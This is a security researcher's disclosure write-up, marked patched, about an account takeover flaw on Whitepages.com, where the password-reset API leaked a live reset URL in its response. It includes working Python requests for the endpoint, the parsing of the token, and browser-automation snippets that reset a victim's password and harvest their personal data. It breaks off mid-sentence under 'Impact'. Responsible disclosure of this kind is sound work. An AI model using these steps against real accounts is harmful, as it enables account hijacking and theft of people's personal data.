How i found an Account Takeover Exploit on Whitepages.com

Vulnerability Research & Disclosure | Patched

Overview

While poking around Whitepages.com's authentication flow, I found a critical vulnerability in their password reset endpoint. The API was returning a ready-to-use password reset URL directly in the HTTP response body — no email required, no waiting. Any attacker with knowledge of a target's email address could silently reset their password and take full control of their account.

The Vulnerability

Whitepages exposes a password reset trigger endpoint:

POST https://www.whitepages.com/api/auth/trigger-reset-password-email

Sending a simple JSON payload with a target email:

{
  "email": "target@example.com"
}

...returns a 202 Accepted response. Normal so far. But buried inside the JSON response is an amplitudeAttributes object — and inside that, a fully-formed, ready-to-use password reset URL:

{
  "amplitudeAttributes": {
    "password_url": "https://www.whitepages.com/auth/reset-password/TOKEN_HERE",
    ...
  }
}

That URL should have been sent only to the account owner's email inbox. Instead, it was handed directly back to whoever triggered the request. The token is live and valid — no email access needed.

Step 1 — Leaking the Reset URL

The core exploit is just two HTTP requests. First, trigger the reset:

res = scraper.post(
    "https://www.whitepages.com/api/auth/trigger-reset-password-email",
    json={"email": email},
    headers={
        "Accept": "application/json, text/plain, */*",
        "Content-Type": "application/json",
        "Origin": "https://www.whitepages.com",
        "Referer": "https://www.whitepages.com/auth/forgot-password"
    }
)

Then read the reset URL straight out of the response:

data = res.json()
attrs = data.get('amplitudeAttributes', {})
reset_url = attrs.get('password_url')

At this point, you already have everything you need to reset the password manually — just open the URL in a browser.

Step 2 — Automating the Reset & Extracting Account Data

You could stop there. But going a step further — by emulating a browser with undetected-chromedriver and hitting the reset endpoint directly — the password reset response leaks a significant amount of account information:

fetch_result = driver.execute_async_script(GET_CSRF)
csrf = fetch_result['body']['csrfToken']

# Submit the new password
res = driver.execute_async_script(POST_RESET, csrf, email_token, new_password)

The successful reset response dumps the following data about the victim's account:

Primary email + all associated emails (with IDs, user IDs, creation timestamps)
Associated phone numbers (with IDs and timestamps)
Full name (first, middle, last)
Account ID & IP address
Membership type (free, premium, business)
Subscription status & end date
Account created date, password last changed date
Payment edit timestamp, premium ToS acceptance date
Account flags: suspended, disabled, login allowed, mobile, legacy modal
Business features status

A single POST request to a forgot-password endpoint — and you get all of that.

Full Source Code

The full PoC script with detailed code comments and explanation can be found on my GitHub.

Impact

This vul

Command Palette

How i found an Account Takeover Exploit on Whitepages.com